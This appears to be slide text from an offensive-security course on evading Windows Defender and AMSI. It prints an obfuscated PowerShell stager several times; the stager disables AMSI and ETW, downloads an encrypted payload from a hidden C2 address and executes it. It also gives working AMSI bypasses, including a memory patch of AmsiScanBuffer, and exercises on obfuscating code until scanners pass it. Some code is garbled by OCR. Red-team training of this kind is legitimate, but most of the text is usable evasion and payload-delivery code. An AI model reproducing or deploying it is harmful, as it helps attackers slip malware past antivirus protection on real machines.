C:\> ThreatCheck.exe -f Downloads\Grunt.bin -e AMSI
[+] Target file size: 31744 bytes
[+] Analyzing...
[!] Identified end of bad bytes at offset 0x6D7A
00000000 65 00 22 00 3A 00 22 00 7B 00 32 00 7D 00 22 00 e<sup>-</sup>.....{·2·}···
00000010 2C 00 22 00 74 00 6F 00 6B 00 65 00 6E 00 22 00 , ".t.o.k.e.n.".
00000020 3A 00 7B 00 33 00 7D 00 7D 00 7D 00 00 43 7B 00 :-{·3·}·}·}·C{·
00000030 7B 00 22 00 73 00 74 00 61 00 74 00 75 00 73 00 {·"·s·t·a·t·u·s·
00000050 22 00 6F 00 75 00 74 00 70 00 75 00 74 00 22 00 "·o·u·t·p·u·t·"·
00000060 3A 00 22 00 7B 00 31 00 7D 00 22 00 7D 00 7D 00 :·"·{·1·}·"·}}·
00000070 00 80 B3 7B 00 7B 00 22 00 47 00 55 00 49 00 44 ·?<sup>3</sup>{·{·"·G·U·I·D
00000080 00 22 00 3A 00 22 00 7B 00 30 00 7D 00 22 00 2C ·"·:·"·{·0·}·"·,
00000090 00 22 00 54 00 79 00 70 00 65 00 22 00 3A 00 7B ·"·T·y·p·e·"·:·{
000000A0 00 31 00 7D 00 2C 00 22 00 4D 00 65 00 74 00 61 ·1·}·,·"·M·e·t·a
000000C0 00 22 00 49 00 56 00 22 00 3A 00 22 00 7B 00 33 ·"·I·V·"·:·"·{·3
000000D0 00 7D 00 22 00 2C 00 22 00 45 00 6E 00 63 00 72 ·}·'.;·'.E·n·c·r
000000E0 00 79 00 70 00 74 00 65 00 64 00 4D 00 65 00 73 ·y·p·t·e·d·M·e·s
000000F0 00 73 00 61 00 67 00 65 00 22 00 3A 00 22 00 7B ·s·a·g·e·"·:·"·{
```



- 1. Download launcher.ps1 and ThreatCheck.exe from: <u>https://github.com/BC-SECURITY/Beginners-Guide-to-</u> <u>Obfuscation/tree/main/Exercise%203</u>
- 2. Determine the line(s) of code that are being flagged by Defender.
- 3. Obfuscate the detected line(s) of code so it is no longer flagged by Defender.



#### • Threatcheck.exe -f Launcher.ps1 -e Defender

[+] Target	file s	size	: 14	167	by <sup>-</sup>	tes										
[+] Analyz	ing															
[!] Identi	fied e	nd o	of b	ad	byt	es	at	offs	set	0x4	IC7					
00000000	53 54	65	6D	2E	54	45	58	54	2E	45	6E	43	6F	64	69	STem.TEXT.EnCodi
00000010	4E 67	5D	3A	3A	41	53	43	49	49	2E	47	45	74	42	59	Ng]::ASCII.GEtBY
00000020	54 65	53	28	27	76	5B	49	47	54	62	66	2A	58	6B	4E	Tes('v[IGTbf*XkN
00000030	29 23	4D	43	75	33	39	21	48	70	3E	50	6D	53	32	25	)#MCu39!Hp>PmS2%
00000040	45 3B	4C	55	46	27	29	3B	0D	<b>0</b> A	24	52	3D	7B	24	44	E;LUF');úú\$R={\$D
00000050	2C 24	4B	3D	24	41	52	67	53	3B	24	53	3D	30	2E	2E	,\$K=\$ARgS;\$S=0
00000060	32 35	35	3B	30	2E	2E	32	35	35	7C	25	7B	24	<b>4</b> A	3D	255;0255 %{\$J=
00000070	28 24	<b>4</b> A	2B	24	53	5B	24	5F	5D	2B	24	4B	5B	24	5F	(\$J+\$S[\$_]+\$K[\$_
00000080	25 24	4B	2E 4	43	4F	55	6E	74	5D	29	25	32	35	36	3B	%\$K.COUnt])%256;
00000090	0D 0A	24	53	5B	24	5F	5D	2C	24	53	5B	24	<b>4</b> A	5D	3D	úú\$s[\$_],\$s[\$j]=
000000A0	24 53	5B	24	4A	5D	2C	24	53	5B	24	5F	5D	7D	3B	24	\$s[\$j],\$s[\$_]};\$
000000в0	44 7C	25	7B	24	49	3D	28	24	49	2B	31	29	25	32	35	D %{\$I=(\$I+1)%25
000000C0	36 3B	0D	0A	24	48	3D	28	24	48	2B	24	53	5B	24	49	6;úú\$H=(\$H+\$S[\$I
000000D0	5D 29	25	32	35	36	3B	24	53	5B	24	49	5D	2C	24	53	])%256;\$s[\$I],\$s
000000E0	5B 24	48	5D	3D	24	53	5B	24	48	5D	2C	24	53	5B	24	[\$H]=\$S[\$H], <u>\$S[</u> \$
000000F0	49 5D	3B	24	5F	2D	62	58	6F	52	24	53	5B	28	24	53	<b>I];</b> \$bxoR\$s[(\$s



#### • Hint

#### ■ The line 9 – 12 are being flagged in ThreatCheck

- 1 [IF(\$PSVErSioNTabLe.PSVErSION.Major -GE 3){\$REf=[Ref].AssEMBly.GEtTyPE('System.Management.Automation.Amsi'+'Utils');
- 2 \$Ref.GetFIeLd('amsiInitF'+'ailed', 'NonPublic, Static').SetValue(\$NuLl,\$TruE);
- 3 [System.Diagnostics.Eventing.EventProvider]. "GetFie`ld" ('m\_e'+'nabled', 'Non'+'Public, '+'Instance'). SetValue ([Ref]. Assembly.GetType ('Syste'+'m.Managem
- 4 [SYStEM.NEt.SERVICePOiNTMANager]::ExPEct100ConTiNUe=0;\$b3904=NEw-Object SystEM.Net.WebCliENT;
- 5 \$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
- 6 \$ser=\$([TEXT.ENCODING]::UNICODE.GETSTrING([CONVERT]::FromBase64STring('aABOAHQAcAA6AC8ALwaxADkAMgAuADEANgA4AC4ANwa0AC4AMQAyADkAOgA4ADkAOAA0AA==')));
- 7 \$B3904.PROXy=[SYSteM.NET.WeBREQuest]::DEFAULtWEBPROXy;
- 8 \$b3904.PRoxy.CReDeNTIALS = [SyStem.NET.CREDENTIALCaCHE]::DeFAUltNEtworKCReDENTIAlS;\$Script:Proxy = \$b3904.Proxy;
- 9 \$K=[SySTem.TEXT.EnCodiNg]::ASCII.GEtBYTeS('v[IGTbf\*XkN)#MCu39!Hp>PmS2%E;LUF');
- 10 □ \$R={\$D,\$K=\$ARgS;\$S=0..255;0..255|%{\$J=(\$J+\$S[\$\_]+\$K[\$\_%\$K.COUNt])%256;
- 12 [\$H=(\$H+\$S[\$I])%256;\$S[\$I].\$S[\$H]=\$S[\$H].\$S[\$I]:\$\_-bxor\$S[(\$S[\$I]+\$S[\$H])%256]}};
- 13 \$B3904.HEADErS.AdD("Cookie","UAjItyKMiTVnfjJU=x5V63iPZtPBT/X1N0RypG/x1heo=");
- 14 \$t='/news.php';\$B3904.HeADERS.ADD('User-Agent',\$u);
- 15 \$daTa=\$b3904.DownloaDDaTa(\$seR+\$T);\$iv=\$datA[0..3];
- 16 \$data=\$dATa[4..\$DaTa.]ENgtH];-JoiN[ChaR[]](& \$R \$DAtA (\$IV+\$K))|IEX



#### Answers

- Move line 9 to break the signature
- 1 □IF(\$PSVErSioNTabLe.PSVErSION.Major -GE 3){\$REf=[Ref].AssEMBly.GEtTyPE('System.Management.Automation.Amsi'+'Utils');
- \$Ref.GetFIeLd('amsiInitF'+'ailed', 'NonPublic, Static').SetValue(\$NuL1,\$TruE);
- 3 [System.Diagnostics.Eventing.EventProvider]."GetFie`ld"('m\_e'+'nabled','Non'+'Public,'+'Instance').SetValue([Ref].Assembly.GetType('Syste'+'m.Managen
- [SYSTEM.NET.SERVICePOINTMANager]::ExPEct100ConTiNUe=0;\$b3904=NEw-Object System.Net.whclient;
- \$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
- \$ser=\$([TEXT.ENCOding]::UNiCoDe.GEtSTrINg([CONVERT]::FromBase64sTring('aAB0AHQACAA6A[8ALy 6 Dkamgauadeanga4ac4anwa0ac4amoayadkaoga4adkaoaa0aa=='))): \$B3904.PRoXy=[SYSteM.NET.WeBREQuest]::DEFAULtWEBPRoxy;
- \$b3904.PROXY.CREDENTIALS = [SYSTEM.NET.CREDENTIALCaCHE]::DEFAUltNETWORKCREDENTIA]S.\$SCH roxy =\$b3904.Proxy;
- \$K=[SySTem.TEXT.EnCodiNg]::ASCII.GEtBYTes('v[IGTbf\*XkN)#MCu39!Hp>PmS2%E;LUF');
- 10 \$R={\$D,\$K=\$ARGS;\$S=0..255;0..255|%{\$J=(\$J+\$S[\$\_]+\$K[\$\_%\$K.COUNT])%256;
- 11 = \$\$[\$\_],\$\$[\$J]=\$\$[\$J],\$\$[\$\_]};\$D|%{\$I=(\$I+1)%256;
- [\$H=(\$H+\$s[\$I])%256;\$\$[\$I],\$\$(\$H)=\$s[\$H],\$\$(\$I];\$\_-bxor\$s[(\$s[\$I]+\$s[\$H])%256]}}; \$B3904.HEADErs.AdD("cookie","UAjItyKMiTVnfjJU=x5V63iPZtPBT/X1N0RypG/x1heo="); 12
- 13
- \$t='/news.php';\$B3904.HeADERS.ADD('User-Agent',\$u); 14
- \$daTa=\$b3904.DownloaDDaTa(\$seR+\$T);\$iv=\$datA[0..3]; 15
- \$data=\$dATa[4..\$DaTa.]ENgtH];-Join[Char[]](& \$R \$DAtA (\$IV+\$K))|IEX 16

PS C:\Users\dredg\OneDrive\Desktop\ThreatCheck-master\ThreatCheck\ThreatCheck\bin\Debug> .\ThreatCheck.exe -f Launcher.ps1 [+] No threat found!

Run time: 0.7s



## Dynamic Evasion



## What Can We Do?

- Identify "Known Bad"
  Sandbox detection
  Known hunter/AV processes
- Change how we are executing:
   Inject a different way
  - Use a different download method
  - Circumvent known choke points (D/invoke vs P/invoke)

Corrupt the Detection Process:
Patch AMSI
Patch ETW
Unhook APIs



## AMSI Bypass 1: Reflective Bypass

Simplest Bypass that currently works

- \$Ref=[REF].Assembly.GetType('System.Management.Automation. AmsiUtils');
- \$Ref.GetField('amsilnitFailed', 'NonPublic, Static').SetValue(\$NULL, \$TRUE);





## What Does it Do?

Using reflection, we are exposing functions from AMSI We are setting the AmsiInitFailed field to True which source code shows causes AMSI to return: • AMSI\_SCAN\_RESULT\_NOT\_FOUND

if (AmsiUtils.amsiInitFailed)

return AmsiUtils.AmsiNativeMethods.AMSI\_RESULT.AMSI\_RESULT\_NOT\_DETECTED;

AMSI.dll



## Why does this work?

AMSI is loaded into the Powershell process at start up so it has the same permission levels as the process the malware is in





# More complicated bypass, but still allows AMSI to load Patches AMSI for both the PowerShell and CLR runtime

```
1 ⊡ $MethodDefinition = @'
         [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
 2
 3
         public static extern IntPtr GetProcAddress(IntPtr hModule,string procName);
 4
 5
         [DllImport("kernel32.dll", CharSet=CharSet.Auto)]
 6
         public static extern IntPtr GetModuleHandle(string lpModuleName);
 7
 8
         [D]]Import("kerne]32")]
 9
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpfloldProtect);
     'a
10
11
    $Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -Namespace 'Win32' -PassThru
12
    $ASBD = "AmsiS"+"canBuffer"
13
    $handle = [Win32.Kernel32]::GetModuleHandle("amsi.dll")
14
     [IntPtr]$BufferAddress = [win32.Kernel32]::GetProcAddress($handle, $ASBD)
15
16
     [UInt32]$size = 0x5
     [UInt32] ProtectFlag = 0x40
17
     [UInt32] OldProtectFlag = 0
18
     [win32.kernel32]::VirtualProtect($BufferAddress, $size, $ProtectFlag, [Ref]$OldProtectFlag)
19
    $buf = new-object byte[] 6
20
    buf[0] = [UInt32]0xB8
21
    buf[1] = [UInt32]0x57
22
23
   buf[2] = [UInt32]0x00
    buf[3] = [Uint32]0x07
24
    buf[4] = [Uint32]0x80
25
26
    buf[5] = [Uint32]0xc3
27
     [system.runtime.interopservices.marshal]::copy($buf. 0. $BufferAddress. 6)
28
```



# We use C# to export a few functions from kernel32 that allows to identify where in memory amsi.dll has been loaded

```
SMethodDefinition = @'
         [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
         public static extern IntPtr GetProcAddress(IntPtr hModule,string procName);
         [DllImport("kernel32.dll", CharSet=CharSet.Auto)]
         public static extern IntPtr GetModuleHandle(string lpModuleName);
         [D]]Import("kerne]32")]
         public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpfloldProtect);
10
     'a
11
     $Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -Namespace 'Win32' -PassThru
12
     $ASBD = "AmsiS"+"canBuffer"
13
     $handle = [Win32.Kernel32]::GetModuleHandle("amsi.dll")
14
     [IntPtr]$BufferAddress = [win32.Kernel32]::GetProcAddress($handle, $ASBD)
15
     [UInt32]$size = 0x5
16
     [UInt32] ProtectFlag = 0x40
17
     [UInt32] OldProtectFlag = 0
18
     [win32.kernel32]::VirtualProtect($BufferAddress, $size, $ProtectFlag, [Ref]$OldProtectFlag)
19
    $buf = new-object byte[] 6
20
    buf[0] = [UInt32]0xB8
21
     buf[1] = [UInt32]0x57
22
23
    buf[2] = [UInt32]0x00
    buf[3] = [Uint32]0x07
24
    buf[4] = [Uint32]0x80
25
26
    buf[5] = [Uint32]0xc3
27
     [system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6)
28
```



# We modify the memory permissions to ensure we have access

```
1 ⊡ $MethodDefinition = @'
         [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
 2
 3
         public static extern IntPtr GetProcAddress(IntPtr hModule,string procName);
 4
         [DllImport("kernel32.dll", CharSet=CharSet.Auto)]
 5
         public static extern IntPtr GetModuleHandle(string lpModuleName);
 6
 8
         [D]]Import("kerne]32")]
 9
         public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpfloldProtect);
     'a
10
11
     $Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -Namespace 'Win32' -PassThru
12
     $ASBD = "Amsis"+"canBuffer"
13
     $handle = [Win32.Kernel32]::GetModuleHandle("amsi.dll")
14
     [IntPtr]$BufferAddress = [win32.Kernel32]::GetProcAddress($handle, $ASBD)
15
16
     [UInt32]$size = 0x5
     [UInt32] ProtectFlag = 0x40
17
18
     [UInt32] $0] dProtectFlag = 0
     [win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag)
19
20
     buf[0] = [UInt32]0xB8
21
     buf[1] = [UInt32]0x57
22
    buf[2] = [UInt32]0x00
23
    buf[3] = [Uint32]0x07
24
    buf[4] = [Uint32]0x80
25
26
    buf[5] = [Uint32]0xc3
27
     [system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6)
28
```



# Modifies the return function to all always return a value of RESULT\_NOT\_DETECTED

```
1 ⊡ $MethodDefinition = @'
         [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
 2
 3
         public static extern IntPtr GetProcAddress(IntPtr hModule,string procName);
 4
         [DllImport("kernel32.dll", CharSet=CharSet.Auto)]
 5
 6
         public static extern IntPtr GetModuleHandle(string lpModuleName);
 7
 8
         [D]]Import("kerne]32")]
 9
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpfloldProtect);
     'a
10
11
     $Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -Namespace 'Win32' -PassThru
12
     $ASBD = "AmsiS"+"canBuffer"
13
     $handle = [Win32.Kernel32]::GetModuleHandle("amsi.dll")
14
     [IntPtr]$BufferAddress = [win32.Kernel32]::GetProcAddress($handle, $ASBD)
15
     [UInt32]$size = 0x5
16
     [UInt32] ProtectFlag = 0x40
17
     [UInt32] $01dProtectFlag = 0
18
     [win32.kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag)
19
     $buf = new-object byte[] 6
20
     buf[0] = [UInt32]0xB8
21
     buf[1] = [UInt32]0x57
22
     buf[2] = [UInt32]0x00
23
     buf[3] = [Uint32]0x07
24
25
     buf[4] = [Uint32]0x80
26
     buf[5] = [Uint32]0xc3
27
     [system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6)
28
```



## Exercise 4: AMSI Bypasses

- 1. Run AMSI bypass 1 and load seatbelt
- 2. Run AMSI bypass 2 and load seatbelt



## Why Does This Work?

- AMSI.dll is loaded into the same security context as the user.
- This means that we have unrestricted access to the memory space of AMSI
  Tells the function to return a clean result prior to actually scanning




# AMSITrigger

- AMSITrigger is a tool to identify malicious string in PowerShell files
- Makes calls using AMSIScanBuffer line by line
- Looks for AMSI\_RESULT\_DETECTED response code
- https://github.com/RythmStick /AMSITrigger



#### @\_RythmStick

sage:		
-i,	inputfile=VALUE	Filename
-u,	url=VALUE	<pre>URL eg. https://10.1.1.1/Invoke-NinjaCopy.ps1</pre>
-f,	format=VALUE	Output Format:
		1 - Only show Triggers
		2 - Show Triggers with line numbers
		3 - Show Triggers inline with code
		4 - Show AMSI calls (xmas tree mode)
-d,	debug	Show debug info
-m,	maxsiglength=VALUE	maximum signature Length to cater for,
		default=2048
-c,	chunksize=VALUE	Chunk size to send to AMSIScanBuffer,
		default=4096
-h,	-?,help	Show Help



# Exercise 5: AMSITrigger

- 1. Identify any possible lines of code that are being flagged by AMSI.
- 2. What lines are they?
- 3. Obfuscate the lines (if possible)
- 4. What is the purpose of the block of code being flagged?



#### Exercise 5: AMSITrigger

#### • Hint

Take a look at: 'amsiInitF' +'ailed', 'NonPublic.Static'

```
.\AmsiTrigger_x64.exe -i launcher.ps1
[+] "'+'Utils');
$Ref.GeTFIeLd('amsiInitF'+'ailed','NonPublic,Static').SetValue($NuLl,$"
```

IF(\$PSVErSioNTabLe.PSVErSION.Major -GE 3){\$REf=[Ref].AssEMBly.GEtTyPE('System.Management.Automation.Amsi'+'Utils');

\$Ref.GetfleLd('amsiInitF'+'ailed', 'NonPublic,Static').SetValue(\$NuLl,\$TruE);

\$K=[SySTem.TEXT.EnCodiNg]::ASCII.GEtBYTeS('v[IGTbf\*XkN)#MCu39!Hp>PmS2%E;LUF');



## AMSITrigger

- We can obfuscate line 1, but line 2 cannot be easily obfuscated by hand
- Easiest option is getting a newly obfuscated AMSI Bypass

.\AmsiTrigger\_x64.exe -i launcher.ps1
[2] "ams'+'iInitF'+'ailed','NonPublic,Static').SetValue(\$NuLl,\$"



## So Where is the AMSI Bypass?

IF(\$PSVErSioNTabLe.PSVErSIoN.Major -GE 3) {\$REf=[Ref].AssEMBly.GEtTyPE('System.Management.Automation.Amsi'+'Utils'); \$Ref.GetfIeld('ams'+'iInitf'+'ailed', 'NonPublic,Static').SetValue(\$NuLl,\$TruE); \$K=[SySTem.TEXT.EnCodiNg]::ASCII.GEtBYTeS('v[IGTbf\*XkN)#MCu39!Hp>PmS2%E;LUF'); [System.Diagnostics.Eventing.EventProvider]."GetFie`ld"('m\_e'+'nabled', 'Non'+'Public, '+'Instance') .SetValue([Ref].Assembly.GetType('Syste'+'m.Management.Automation.Tracing.PSE'+'twLogProvider')."G etFie`ld"('et'+'wProvider', 'NonPub'+'lic,S'+'tatic').GetValue(\$null),0);}; [SYStEM.NEt.SERVICePOiNTMANager]::ExPEct100ConTiNUe=0; \$b3904=NEw-ObjecT SystEM.Net.WEbCliENT; \$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'; \$ser=\$([TEXT.ENCOdiNg]::UNiCoDe.GEtSTrINg([CONVERT]::FrOMBAse64STring('aAB0AHQAcAA6AC8ALwAxADkAMgA uADEANgA4AC4ANwA0AC4AMQAyADkAOgA4ADkAOAA0AA=='))); \$B3904.PRoXy=[SYSteM.NET.WeBREQuest]::DEFAULtWEBPRoxy; **\$b3904**.PRoxy.CReDeNTIALS = [SyStem.NET.CREDENTialCacHE]::DeFAU]tNEtworKCReDENTIA]S;**\$Script:Proxy** = **\$b3904**. Proxy;  $R=\{D, K=S, S=0..255; 0..255| \ \{J=(J+S[S]+K[S, K, COUnt]) \ 256; \ 255| \ 45| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55| \ 55$ \$\$[\$\_],\$\$[\$J]=\$\$[\$J],\$\$[\$\_]};\$D|%{\$I=(\$I+1)%256; \$H=(\$H+\$S[\$I])%256;\$S[\$I],\$S[\$H]=\$S[\$H],\$S[\$I];\$\_-bxor\$S[(\$S[\$I]+\$S[\$H])%256]}}; \$B3904.HEADErS.AdD("Cookie", "UAjItyKMiTVnfjJU=x5V63iPZtPBT/X1N0RypG/x1heo="); \$t='/news.php';\$B3904.HeADERS.ADD('User-Agent',\$u); daTa=b3904.DowNloaDDaTa(seR+T);iv=datA[0..3]; \$data=\$dATa[4..\$DaTa.]ENgtH];-JoiN[Char[]](& \$R \$DAtA (\$IV+\$K))|IEX



### AMSI.Fail

- Generates obfuscated AMSI
   Bypasses in PowerShell
- Randomly selected and obfuscated
- No two bypasses have the same signatures
- Link: <u>https://amsi.fail/</u>
- GitHub: <u>https://github.com/Flangvik/A</u> <u>MSI.fail</u>

#### AMSI.fail

#### What is AMSI.fail?

AMSI.fail generates obfuscated PowerShell snippets that break or disable AMSI for the current process. The snippets are randomly selected from a small pool of techniques/variations before being obfuscated. Every snippet is obfuscated at runtime/request so that no generated output share the same signatures.

Generate

Generate Encoded

#### What is AMSI?

As f-secure explained in one of their excellent **blog-posts**:

AMSI is an interface on which applications or services (third-party included) are able to scan a script's content for malicious usage. If a signature in the script is registered by the AMSI antimalware service provider (Windows Defender by default), it will be blocked.

To put this into context, consider the following steps PowerShell takes to integrate with AMSI:

- When a PowerShell process is created, AMSI.DLL is loaded from disk into its address space.
- Within AMSI.DLL, there's a function known as AmsiScanBuffer(), essentially the function used to scan a script's content.
- In the PowerShell command prompt, any supplied content would first be sent to AmsiScanBuffer(), before any execution takes place.



#### Exercise 6: AMSIFail

- Determine the block of code that is the AMSI Bypass
- 2. Generate a unique AMSI Bypass
- 3. Replace the existing bypass and rerun against AMSITrigger



#### AMSI.Fail – Generate Bypass

#### What is AMSI.fail?

AMSI.fail generates obfuscated PowerShell snippets that break or disable AMSI for the current process. The snippets are randomly selected from a small pool of techniques/variations before being obfuscated. Every snippet is obfuscated at runtime/request so that no generated output share the same signatures.

([ByTE]0x65)+[Char]([byte]0x74)+[ChAr](59+11)+[cHAR]([ByTe]0x69)+[ChAR](101\*38/38)+[Char](98+10)+[cHaR] ([bYTE]0x64))).Invoke(\$([CHar]([bYtE]0x61)+[ChAR](109+39-39)+[cHar](115\*75/75)+[CHar]([byTE]0x69)+[cHar] ([bYTE]0x49)+[ChAR]([BYTE]0x6e)+[chAr]([ByTE]0x69)+[char](116)+[ChAr]([byte]0x46)+[CHAr]([bYTe]0x61)+[char] (49+56)+[cHaR](108)+[cHAr]([byte]0x65)+[Char]([byTE]0x64)),(("NonPublic,Static") -as [String].Assembly.GetType(\$(('\$(('S'+'y'+'s'+'t'+'e'+'m').NOrMaLiZE([cHAR]([ByTE]0x46)+[cHar](111+104-104)+ [CHAR](114)+[chaR]([ByTe]0x6d)+[ChaR](68\*58/58)) -replace [ChAR]([byte]0x5c)+[cHar]([BYTe]0x70)+[chAR] ([ByTe]0x7b)+[Char]([bYte]0x4d)+[Char]([byTe]0x6e)+[CHaR] ([ByTe]0x7b)+[Char]([bYte]0x4d)+[Char]([byTe]0x6e)+[CHaR] ([BytE]0x7d)).Reflection'+'.BindingFlágs').noRMaliZe([char]([bYtE]0x46)+[cHAr](14+97)+[Char](41+73)+[chaR] (45+64)+[ChaR](46+22)) -replace [CHAR]([bYTe]0x5c)+[ChaR](112)+[CHar](123+64-64)+[Char](15+62)+[chAr](110)+ [cHAr]([byTe]0x7d)))).SetValue(\$null,\$True);

Generate

**Generate Encoded** 



#### AMSI.Fail – Replace the Bypass

IF(\$PSVErSioNTabLe.PSVErSIoN.Major -GE 3){

\$1buxs = @" using System; using System.Runtime.InteropServices: public class lbuxs { [D]]Import("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule. string procName): [D]]Import("kernel32")] public static extern IntPtr LoadLibrary(string name); [D]lImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr bnrppo, uint flNewProtect, out uint lpfloldProtect);} "a Add-Type \$1buxs \$sdckzrv = [lbuxs]::LoadLibrary("\$([cHAr](97+68-68)+[char](109)+[chaR]([ByTE]0x73)+[cHar]([byTe]0x69)+ [CHaR]([byte]0x2e)+[chAR](100\*54/54)+[chAR](108\*102/102)+[CHAR](108\*69/69))")[char]([Byte]0x61)+[cHar](110\*98/98)+[cHar]([byte]0x42)+[cHar]([byte]0x75)+[cHAr]([Byte]0x66)+[cHar](29+73)+[cHar](101+21-21)+[cHAr](114))")p = 0[]buxs]::VirtualProtect(\$mpgigf, [uint32]5, 0x40, [ref]\$p) \$rims = "0xB8";\$qsoq = "0x57";\$hvvp = "0x00";\$xqqp = "0x07";\$ftez = "0x80";\$vivw = "0xC3"; \$qfvwc = [Byte[]] (\$rims,\$qsoq,\$hvvp,\$xqqp,+\$ftez,+\$vivw) [System.Runtime.InteropServices.Marshal]::Copy(\$qfvwc, 0, \$mpgiqf, 6)}; \$K=[SySTem.TEXT.EnCodiNg]::ASCII.GEtBYTeS('v[IGTbf\*XkN)#MCu39!Hp>PmS2%E;LUF'); [System.Diagnostics.Eventing.EventProvider]."GetFie`ld"('m\_e'+'nabled', 'Non'+'Public, '+'Instance').SetValue([Ref].Assembly.GetType('Syste'+'m.Management.Automation.T racing.PSE'+'twLogProvider')."GetFie`ld"('et'+'wProvider', 'NonPub'+'lic,S'+'tatic').GetValue(\$null),0);}; [SYStEM.NEt.SERVICePOiNTMANager]::ExPEct100ConTiNUe=0;\$b3904=NEw-Object SysteM.Net.WEbCliENT; \$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'; \$ser=\$([TEXT.ENCOding]::UNiCode.GEtSTrINg([CONVERT]::FrOMBAse64STring('aAB0AHQAcAA6AC8ALwAxADkAMqAuADEANqA4AC4ANwA0AC4AMQAyADkA0qA4ADkA0AA0AA=='))): \$B3904.PROXy=[SYSteM.NET.WeBREQuest]::DEFAULtWEBPROXy; \$b3904.PRoxy.CReDeNtIALs = [SyStem.NET.CREDENTIALCaCHE]::DeFAUltNEtworKCReDENTIAlS;\$Script:Proxy = \$b3904.Proxy;  $R={D,K=S,S=0..255;0..255}{{5},0$ \$\$[\$\_],\$\$[\$J]=\$\$[\$J],\$\$[\$\_]};\$D|%{\$I=(\$I+1)%256; \$H=(\$H+\$S[\$I])%256;\$S[\$I],\$S[\$H]=\$S[\$H],\$S[\$I];\$\_-bxor\$S[(\$S[\$I]+\$S[\$H])%256]}}; \$B3904.HEADErS.AdD("Cookie","UAjItyKMiTVnfjJU=x5V63iPZtPBT/X1N0RypG/x1heo="); 